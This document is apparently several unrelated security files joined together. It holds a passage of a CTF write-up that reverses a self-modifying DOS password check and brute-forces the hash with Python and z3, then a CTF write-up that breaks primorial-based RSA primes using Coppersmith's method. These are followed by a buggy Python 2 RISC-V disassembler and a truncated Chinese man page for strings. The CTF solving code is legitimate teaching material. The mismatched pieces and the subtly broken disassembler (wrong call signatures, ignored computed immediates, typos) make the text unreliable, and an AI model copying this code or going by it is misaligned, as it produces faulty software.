0339:0000000D push bx EAX:00000066 EBX:000000BB ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000000E mov bx,[bp+04] ss:[00FA]=00C0 EAX:00000066 EBX:000000BB ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000011 shl word [bx],1 ds:[00C0]=81A5 EAX:00000066 EBX:000000C0 ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000013 shl word [bx],1 ds:[00C0]=034A EAX:00000066 EBX:000000C0 ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:1 ZF:0 SF:0 OF:1 AF:1 PF:0 IF:1
0339:00000015 add [bx],ax ds:[00C0]=0694 EAX:00000066 EBX:000000C0 ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:0 IF:1
0339:00000017 pop bx EAX:00000066 EBX:000000C0 ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000018 inc bx EAX:00000066 EBX:000000BB ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000019 dec cx EAX:00000066 EBX:000000BC ECX:00000003 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000001A cmp cx,0000 EAX:00000066 EBX:000000BC ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000001D jne 00000009 ($-16) (up) EAX:00000066 EBX:000000BC ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000009 mov al,[bx] ds:[00BC]=6867 EAX:00000066 EBX:000000BC ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000B mov ah,00 EAX:00000067 EBX:000000BC ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000D push bx EAX:00000067 EBX:000000BC ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000E mov bx,[bp+04] ss:[00FA]=00C0 EAX:00000067 EBX:000000BC ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000011 shl word [bx],1 ds:[00C0]=06FA EAX:00000067 EBX:000000C0 ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000013 shl word [bx],1 ds:[00C0]=0DF4 EAX:00000067 EBX:000000C0 ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:1 IF:1
0339:00000015 add [bx],ax ds:[00C0]=1BE8 EAX:00000067 EBX:000000C0 ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:1 IF:1
0339:00000017 pop bx EAX:00000067 EBX:000000C0 ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000018 inc bx EAX:00000067 EBX:000000BC ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000019 dec cx EAX:00000067 EBX:000000BD ECX:00000002 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000001A cmp cx,0000 EAX:00000067 EBX:000000BD ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000001D jne 00000009 ($-16) (up) EAX:00000067 EBX:000000BD ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000009 mov al,[bx] ds:[00BD]=0D68 EAX:00000067 EBX:000000BD ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000B mov ah,00 EAX:00000068 EBX:000000BD ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000D push bx EAX:00000068 EBX:000000BD ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:0000000E mov bx,[bp+04] ss:[00FA]=00C0 EAX:00000068 EBX:000000BD ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000011 shl word [bx],1 ds:[00C0]=1C4F EAX:00000068 EBX:000000C0 ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:0 IF:1
0339:00000013 shl word [bx],1 ds:[00C0]=389E EAX:00000068 EBX:000000C0 ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:1 IF:1
0339:00000015 add [bx],ax ds:[00C0]=713C EAX:00000068 EBX:000000C0 ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:1 IF:1
0339:00000017 pop bx EAX:00000068 EBX:000000C0 ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F4 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:0 IF:1
0339:00000018 inc bx EAX:00000068 EBX:000000BD ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:0 IF:1
0339:00000019 dec cx EAX:00000068 EBX:000000BE ECX:00000001 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000001A cmp cx,0000 EAX:00000068 EBX:000000BE ECX:00000000 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:1 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000001D jne 00000009 ($-16) (no jmp) EAX:00000068 EBX:000000BE ECX:00000000 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:1 SF:0 OF:0 AF:0 PF:1 IF:1
0339:0000001F pop bp EAX:00000068 EBX:000000BE ECX:00000000 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:000000F6 ESP:000000F6 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:1 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000020 ret EAX:00000068 EBX:000000BE ECX:00000000 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:0000091C ESP:000000F8 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:1 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000092 add sp,0006 EAX:00000068 EBX:000000BE ECX:00000000 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:0000091C ESP:000000FA DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:1 SF:0 OF:0 AF:0 PF:1 IF:1
0339:00000095 cmp word [00C0],CFE1 ds:[00C0]=71A4 EAX:00000068 EBX:000000BE ECX:00000000 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:0000091C ESP:00000100 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:0 ZF:0 SF:0 OF:0 AF:1 PF:0 IF:1
0339:0000009B jne 000000A0 ($+3) (down) EAX:00000068 EBX:000000BE ECX:00000000 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:0000091C ESP:00000100 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:1 ZF:0 SF:1 OF:1 AF:0 PF:1 IF:1
0339:000000A0 mov dx,0120 EAX:00000068 EBX:000000BE ECX:00000000 EDX:000000B4 ESI:00000050 EDI:00000100 EBP:0000091C ESP:00000100 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:1 ZF:0 SF:1 OF:1 AF:0 PF:1 IF:1
0339:000000A3 mov ah,09 EAX:00000068 EBX:000000BE ECX:00000000 EDX:00000120 ESI:00000050 EDI:00000100 EBP:0000091C ESP:00000100 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:1 ZF:0 SF:1 OF:1 AF:0 PF:1 IF:1
0339:000000A5 int 21 EAX:00000968 EBX:000000BE ECX:00000000 EDX:00000120 ESI:00000050 EDI:00000100 EBP:0000091C ESP:00000100 DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:1 ZF:0 SF:1 OF:1 AF:0 PF:1 IF:1
F000:0000EB0C sti EAX:00000968 EBX:000000BE ECX:00000000 EDX:00000120 ESI:00000050 EDI:00000100 EBP:0000091C ESP:000000FA DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:1 ZF:0 SF:1 OF:1 AF:0 PF:1 IF:0
F000:0000EB0D callback 0035 (DOS Int 21) EAX:00000968 EBX:000000BE ECX:00000000 EDX:00000120 ESI:00000050 EDI:00000100 EBP:0000091C ESP:000000FA DS:0345 ES:0329 FS:0000 GS:0000 SS:0359 CF:1 ZF:0 SF:1 OF:1 AF:0 PF:1 IF:1
```
The debugger output shows `shl` commands while the disassembly showed `shr` commands. What's happening here?
It's time to go back to the CS-modifying instructions we've skipped before:
```assembly
mov word cs:[0x11], 0x27d1
mov word cs:[0x13], 0x27d1
mov word cs:[0x15], 0x701
```
We can see that these instructions are modifying values within the code segment, and specifically within the hash function. Before the commands are executed, the hash function implementation is:
```assembly
0339:00000000 55 push bp
0339:00000001 8BEC mov bp,sp
0339:00000003 8B5E06 mov bx,[bp+06]
0339:00000006 8B4E08 mov cx,[bp+08]
0339:00000009 8A0F mov cl,[bx]
0339:0000000B B400 mov ah,00
0339:0000000D 53 push bx
0339:0000000E 8B5E04 mov bx,[bp+04]
0339:00000011 D12F shr word [bx],1
0339:00000013 D12F shr word [bx],1
0339:00000015 2907 sub [bx],ax
```
And after:
```assembly
0339:00000000 55 push bp
0339:00000001 8BEC mov bp,sp
0339:00000003 8B5E06 mov bx,[bp+06]
0339:00000006 8B4E08 mov cx,[bp+08]
0339:00000009 8A0F mov cl,[bx]
0339:0000000B B400 mov ah,00
0339:0000000D 53 push bx
0339:0000000E 8B5E04 mov bx,[bp+04]
0339:00000011 D127 shl word [bx],1 ; <----- modified
0339:00000013 D127 shl word [bx],1 ; <----- modified
0339:00000015 0107 add [bx],ax ; <----- modified
```
Now that we have the correct understanding of what the hash function does, our initial Python reproduction attempt is:
```python
import string, itertools
def hash(s):
res = 0
for c in s:
res = res << 2
res += ord(c)
res = res & 0xFFFF
return res
for word in itertools.product(string.ascii_lowercase, repeat = 8):
if hash(word) == 0xcfe1:
print (word)
break
```
This runs for a while and finally finds the following answer:
```console
root@kali:/media/sf_CTFs/kaf/dkdos# python3 solve.py
('a', 'a', 'x', 'x', 'x', 'x', 'z', 'y')
```
We can significantly improve performance if we use `z3` instead:
```python
from z3 import *
import string, itertools
def hash(s):
res = 0
for c in s:
res = res << 2
res += c
res = res & 0xFFFF
return res
KEY_LEN = 8
key = [BitVec("{}".format(i), 16) for i in range(KEY_LEN)]
solver = Solver()
for i in range(KEY_LEN):
solver.add(key[i] >= ord('!'))
solver.add(key[i] <= ord('~'))
solver.add(hash(key) == 0xcfe1)
if solver.check() == sat:
res = ""
m = solver.model()
print(m)
for i in range(KEY_LEN):
res += chr(m[key[i]].as_long())
print res
```
Output:
```console
root@kali:/media/sf_CTFs/kaf/dkdos# python solve.py
[3 = 57,
0 = 34,
1 = 40,
5 = 34,
6 = 34,
4 = 64,
2 = 33,
7 = 57]
"(!9@""9
```
In any case, both answers give us the flag:
```console
root@kali:/media/sf_CTFs/kaf/dkdos# nc ctf.kaf.sh 6000
MS-DOS KIPOD SHOP
------------------------------------------------
Wanna buy some KIPODIM?
First, I have to make sure you're allowed to.
Please log in with you password: aaxxxxzy
KAF{D05_15_JU57_700_C00L}
```
|
sec-knowleage
|
# Primordial (Crypto, 171p, 25 solved)
In the challenge we get [code](primordial_rsa.py) and [output](output.txt).
If we look at the primes generation, some things seems odd:
```python
def gen_prime(nbit):
while True:
s = getPrime(36)
a = primorial(getPrime(random.randint(7, 9)))
b = primorial(getPrime(random.randint(2, 5)))
for r in range(10**3, 3*10**3, 2):
p = s * a // b - r
if gmpy2.is_prime(p) and len(bin(p)[2:]) == nbit:
return int(p)
```
Specifically the very small randoms which are used here.
While primorial makes those numbers very big, the entropy is extremely low.
In fact we can easily enumerate all primes which can come from `getPrime(random.randint(7, 9))` and getPrime(random.randint(2, 5)) and it's not that many.
The last loop is also trivial to brute-force, it's just 1000 values to check.
The only real problem is `s = getPrime(36)` since those are 36 bits we don't know.
I suspect it's within brute-force range still, but we used a more reasonable approach.
Let's assume we know `a`, `b` and `r` since we can easily enumerate all possible combinations of those values.
We can then check which of them meet the condition `len(bin(p)[2:]) == nbit`, since we know how many bits `s` has.
This in turn gave us literally 2 options:
```python
current_a = 2 ** 6 - 1
a = []
while len(bin(current_a)[2:]) <= 9:
current_a = next_prime(current_a)
a.append(current_a)
print(a)
current_b = 2 ** 1 - 2
b = []
while len(bin(current_b)[2:]) <= 5:
current_b = next_prime(current_b)
b.append(current_b)
print(b)
ps = [primorial(p, False) for p in a]
qs = [primorial(q, False) for q in b]
divs = []
for (p, q) in itertools.product(ps, qs):
divs.append(p / q)
potential_divs = []
for d in divs:
if 475 < len(bin(d)[2:]) < 478:
potential_divs.append(d)
print(map(int, potential_divs))
```
From that we get that `a/b` can be only:
```
[157833473171036402557340887861918279894066895152614171872650217971188957505160728753634580242894723692077708152487421472942198886320563361989519L, 265796235513071835939791625686948223290731767183919871953306061941104069201525744225121420707540377151699132081108668768663225519768309440666057L]
```
Still, we need to recover `s` somehow.
Let's create a polynomial `f(x) = x * a/b - r`.
It's obvious that for `x0 = s` this polynomial is `s * a/b - r = p` and therefore it will reduce to `0` mod `p`.
We know that `s` has only 36 bits, while `N` has 1024 bits , `p` and `q` are about 512 bits each and polynomial has degree 1.
This means that we can use Coppersmith theorem here, since `beta=512/1024=0.5` and therefore we could find roots of this polynomial up until `N^(0.5^2/1) = N^0.25` so 256 bits:
```python
def decrypt_flag(N, ct, potential_divs):
F.<x> = PolynomialRing(Zmod(N), implementation='NTL')
for d in potential_divs:
print('testing',d)
for r in range(10**3, 3*10**3, 2):
poly = x * d - r
poly = poly.monic()
roots = poly.small_roots(beta=0.5,X=2**50)
if len(roots)>0:
print(roots)
p = int(roots[0]*d-r)
q = int(int(N)/int(p))
phi = (p-1)*(q-1)
print(phi)
d = inverse_mod(65537,phi)
decrypted = pow(ct,int(d),N)
print(decrypted)
return long_to_bytes(int(decrypted))
```
Running this gives us back `ASIS{f4C7OR1ZIn9_PrimoR!4L_pR1m3z_Iz_3A5Y_I5nt_iT?}`
Complete solver [here](solver.sage)
|
sec-knowleage
|
import re
from Crypto.Util.number import bytes_to_long
from crypto_commons.generic import chunk
from riscv_asm import TYPES_TO_INSTRUCTION, INSTRUCTION_TO_TYPE, OPCODES, FUNCT_CODES, \
R_I_TYPE_UPPER_SEVEN_BITS_NORMAL, R_I_TYPE_UPPER_SEVEN_BITS_ALT, LOAD_INSTRUCTION_NAMES, STORE_INSTRUCTION_NAMES
import argparse
def generate_lookup_to_set(dictionary):
flipped = {}
for key, value in dictionary.items():
if value not in flipped:
flipped[value] = set()
flipped[value].add(key)
return flipped
def generate_opcode_to_type(instruction_to_type, opcode_lookup):
opcode_to_type = {}
for opcode, instructions in opcode_lookup.items():
opcode_to_type[opcode] = instruction_to_type[list(instructions)[0]]
return opcode_to_type
OPCODE_LOOKUP = generate_lookup_to_set(OPCODES)
FUNCT_LOOKUP = generate_lookup_to_set(FUNCT_CODES)
OPCODE_TO_TYPE = generate_opcode_to_type(INSTRUCTION_TO_TYPE, OPCODE_LOOKUP)
def determine_instruction_name(opcode, funct):
if opcode == '0000000':
return 'NOOP'
candidates = OPCODE_LOOKUP[opcode]
if len(candidates) == 1:
return list(candidates)[0]
for candidate in candidates:
if candidate in FUNCT_LOOKUP[funct]:
return candidate
raise Exception
def disassemble_from_binary(binary_vector, index):
'''
>>> u_test = '00000000000001000101000010110111'
>>> disassemble_from_binary(u_test)
'LUI x1,0x00045000'
>>> uj_test = '01111111111100000000001001101111'
>>> disassemble_from_binary(uj_test)
'JAL x4,0x00000ffe'
>>> sb_test = '00111110000100010000011111100011'
>>> disassemble_from_binary(sb_test)
'BEQ x2,x1,0x00000bee'
>>> sb_test = '10101011011010011111111011100011'
>>> disassemble_from_binary(sb_test)
'BGEU x19,x22,0xfffffabc'
>>> i_test = '11111111111101110000111110010011'
>>> disassemble_from_binary(i_test)
'ADDI x31,x14,0xffffffff'
>>> i_test = '00000000010011100011111010010011'
>>> disassemble_from_binary(i_test)
'SLTIU x29,x28,0x00000004'
>>> r_test = '00000000001100010101000010110011'
>>> disassemble_from_binary(r_test)
'SRL x1,x2,x3'
>>> r_test = '01000000001100010101000010110011'
>>> disassemble_from_binary(r_test)
'SRA x1,x2,x3'
'''
get_opcode = lambda x: '{0:07b}'.format(x & 0x7F)
get_functcode = lambda x: '{0:03b}'.format((x >> 12) & 0x7)
get_rs1 = lambda x: (x >> 15) & 0x1F
get_rs2 = lambda x: (x >> 20) & 0x1F
get_rd = lambda x: (x >> 7) & 0x1F
get_msb12 = lambda x: (x >> 20) & 0xFFF
get_msb6 = lambda x: (x >> 25) & 0x3F
def get_bitrange_exclusive(bitvector, msb, lsb):
top_index = len(bitvector) - 1
effective_low_index = top_index - msb
effective_high_index = top_index - lsb + 1
return bitvector[effective_low_index:effective_high_index]
as_thirty_two_bit = int(binary_vector, 2)
opcode = get_opcode(as_thirty_two_bit)
funct = get_functcode(as_thirty_two_bit)
instruction_name = determine_instruction_name(opcode, funct) # could be wrong
# for r-type instructions because ADD/SUB, or SRA/SRL
# special case handled in R_TYPE code
# this case also exists for I_TYPE instructions
# if it's a known NOOP we can quit now
if instruction_name == 'NOOP':
return 'NOOP'
instruction_type = OPCODE_TO_TYPE[opcode]
if instruction_type == 'U_TYPE':
rd = get_rd(as_thirty_two_bit)
immediate_value = int(hex(as_thirty_two_bit & 0xFFFFF000)[2:][::-1], 16)
return '{0} X{1},0x{2:x}'.format(instruction_name, rd, immediate_value)
elif instruction_type == 'UJ_TYPE':
rd = get_rd(as_thirty_two_bit)
top_bit = '{0:01b}'.format((as_thirty_two_bit >> 31) & 0x1) * 12
section_two = (as_thirty_two_bit >> 12) & 0xFF
section_three = (as_thirty_two_bit >> 20) & 0x1
section_four = (as_thirty_two_bit >> 25) & 0x3F
section_five = (as_thirty_two_bit >> 21) & 0xF
u_immediate = int('{0}{1:08b}{2:01b}{3:06b}{4:04b}0'.format(
top_bit,
section_two,
section_three,
section_four,
section_five
), 2)
return '{0} X{1},0x{2:x}'.format(instruction_name, rd, index*4)
elif instruction_type == 'SB_TYPE':
rs2 = get_rs2(as_thirty_two_bit)
rs1 = get_rs1(as_thirty_two_bit)
first_piece = '{0:01b}'.format((as_thirty_two_bit >> 31) & 0x1) * 20
second_piece = (as_thirty_two_bit >> 7) & 0x1
third_piece = (as_thirty_two_bit >> 25) & 0x3F
fourth_piece = (as_thirty_two_bit >> 8) & 0xF
sb_immediate = int('{0}{1:01b}{2:06b}{3:04b}0'.format(
first_piece,
second_piece,
third_piece,
fourth_piece
), 2)
return '{0} X{1},X{2},{3}'.format(instruction_name,
rs1,
rs2,
sb_immediate)
elif instruction_type == 'I_TYPE':
rd = get_rd(as_thirty_two_bit)
rs1 = get_rs1(as_thirty_two_bit)
first_piece = '{0}'.format((as_thirty_two_bit >> 31) & 0x1) * 21
second_piece = (as_thirty_two_bit >> 20) & 0x7FF
i_type_immediate = int('{0}{1:011b}'.format(
first_piece,
second_piece), 2)
if i_type_immediate > 2 ** 30:
i_type_immediate = -(4294967296 - i_type_immediate)
if instruction_name in LOAD_INSTRUCTION_NAMES:
# load instructions have a special format in text
return '{0} X{1},{2}(X{3})'.format(instruction_name,
rd,
i_type_immediate,
rs1)
else:
# all other types of I-TYPE instructions
if opcode == OPCODES['SRLI'] and funct == FUNCT_CODES['SRLI']:
decider = '{0:07b}'.format(get_msb6(as_thirty_two_bit))
if decider == R_I_TYPE_UPPER_SEVEN_BITS_NORMAL:
instruction_name = 'SRLI'
elif decider == R_I_TYPE_UPPER_SEVEN_BITS_ALT:
instruction_name = 'SRAI'
else:
assert False, 'Could not disambiguate SRLI and SRAI, upper bits {0}'.format(decider)
if instruction_name == 'SRLI' or instruction_name == 'SRAI' or \
instruction_name == 'SLLi':
i_type_immediate = i_type_immediate & 0x1F
return '{0} X{1},X{2},{3}'.format(instruction_name,
rd,
rs1,
i_type_immediate)
elif instruction_type == 'S_TYPE':
rs2 = get_rs2(as_thirty_two_bit)
rs1 = get_rs1(as_thirty_two_bit)
first_piece = '{0:01b}'.format((as_thirty_two_bit >> 31) & 0x1) * 21
second_piece = (as_thirty_two_bit >> 25) & 0x3F
third_piece = (as_thirty_two_bit >> 8) & 0xF
fourth_piece = (as_thirty_two_bit >> 7) & 0x1
s_type_immediate = int('{0}{1:06b}{2:04b}{3:01b}'.format(
first_piece,
second_piece,
third_piece,
fourth_piece
), 2)
return '{0} X{1},{2}(X{3})'.format(instruction_name,
rs2,
s_type_immediate,
rs1)
elif instruction_type == 'R_TYPE':
rd = get_rd(as_thirty_two_bit)
rs1 = get_rs1(as_thirty_two_bit)
rs2 = get_rs2(as_thirty_two_bit)
if opcode == OPCODES['ADD'] and funct == FUNCT_CODES['ADD']:
decider = '{0:07b}'.format(get_msb6(as_thirty_two_bit))
if decider == R_I_TYPE_UPPER_SEVEN_BITS_NORMAL:
instruction_name = 'ADD'
elif decider == R_I_TYPE_UPPER_SEVEN_BITS_ALT:
instruction_name = 'SUB'
elif decider == '0000001':
instruction_name = 'MUL'
else:
assert False, 'Could not disambiguate ADD and SUB, upper bits {0}'.format(decider)
elif opcode == OPCODES['SRL'] and funct == FUNCT_CODES['SRL']:
decider = '{0:07b}'.format(get_msb6(as_thirty_two_bit))
if decider == R_I_TYPE_UPPER_SEVEN_BITS_NORMAL:
instruction_name = 'SRL'
elif decider == R_I_TYPE_UPPER_SEVEN_BITS_ALT:
instruction_name = 'SRA'
else:
assert False, 'Could not disambiguate SRL and SRA, upper bits {0}'.format(decider)
return '{0} X{1},X{2},X{3}'.format(instruction_name, rd, rs1, rs2)
def dis(code):
code = code[:-4] # strip ret
chunks = chunk(code, 4)
result = ''
i = 0
for c in chunks:
disassembled_instruction = disassemble_from_binary(bin(bytes_to_long(c[::-1]))[2:],i)
result += disassembled_instruction + "\n"
i += 1
result = result + 'ret'
code = result
for i in range(2, 12):
code = code.replace('X' + str(i + 16), "S" + str(i))
for i in range(2, 8):
code = code.replace('X' + str(i + 10), "A" + str(i))
code = code.replace("X2", 'SP')
code = code.replace("X8", 'S0')
code = code.replace("X9", 'S1')
code = code.replace("X1,", 'RA,')
code = code.replace("X10", 'A0')
code = code.replace("X11", 'A1')
code = re.sub("ADDI (.*?),X0,(.*)", "LI \g<1>,\g<2>", code)
code = re.sub("JAL X0,(.*)", "J \g<1>", code)
code = code.replace(",", ", ")
code = code.lower()
return code
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Disassemble RISC-V binary vectors to assembly')
parser.add_argument('binfile',
type=str,
help='binary vector file')
args = parser.parse_args()
binary_file_path = args.binfile
with open(binary_file_path, 'r') as binary_file:
binary_lines = binary_file.readlines()
for line in binary_lines:
line = line.strip('\n')
disassembled_instruction = disassemble_from_binary(line)
print '{0}'.format(disassembled_instruction)
|
sec-knowleage
|
.\" Copyright (c) 1993 Free Software Foundation
.\" See section COPYING for conditions for redistribution
.TH strings 1 "25 June 1993" "cygnus support" "GNU Development Tools"
.de BP
.sp
.ti \-.2i
\(**
..
.SH NAME
strings \- 显示文件中的可打印字符
.SH "总览 (SYNOPSIS)"
.hy 0
.na
.TP
.B strings
.RB "[\|" \-a | \-\c
.RB | \-\-all "\|]"
.RB "[\|" \-f | \-\-print\-file\-name "\|]"
.RB "[\|" \-o "\|]"
.RB "[\|" \-\-help "\|]"
.RB "[\|" \-v | \-\-version "\|]"
.RB "[\|" \-n
.I min\-len\c
.RI | \-min\-len\c
.RB | "\-\-bytes="\c
.I min\-len\c
\&\|]
.RB "[\|" \-t
.I {o,x,d}\c
.RB "[\|" "\-\-target=\fIbfdname" "\|]"
.RB | "\-\-radix="\c
.I {o,x,d}\c
\&\|]
.I file\c
.ad b
.hy 1
.SH "描述 (DESCRIPTION)"
For each
.I file
given,
GNU \c
.B strings
显示 每个 指定的
.I file
文件里 包含的 所有 有 4个 (或者 用 选项 指定 的 数字) 以上 连续 可打印 字符 的
字符串, 在 之后 紧跟着 一个 不可 打印 的 字符. 默认 情况 下, 它 只显示 目标
文件 初始化 和 装载 段 的 字符串; 对于 其它 类型 的 文件 它 显示 整个 文件 里
包含 的 所有 字符串.
.PP
.B strings
一般 用来 查看 非 文本 文件 的 内容.
.SH "选项 (OPTIONS)"
在 这里 并列 的 长选项 和 短选项 都是 等价的.
.TP
.B \-a
.TP
.B \-\-all
.TP
.B \-
不 只是 扫描 目标 文件 初始化 和 装载 段, 而是 扫描 整个 文件.
.TP
.B \-f
.TP
.B \-\-print\-file\-name
在 显示 字符串 之前 先 显示 文件名.
.TP
.B \-\-help
在 标准 输出 打印
.B strings
命令 的 选项
列表
然后 退出.
.TP
.B \-v
.TP
.B \-\-version
在 标准 输出 打印
.B strings
命令 的 版本号 然后 退出.
.TP
.B "\-n \fImin\-len\fP"
.TP
.B "\-\fImin\-len\fP"
.TP
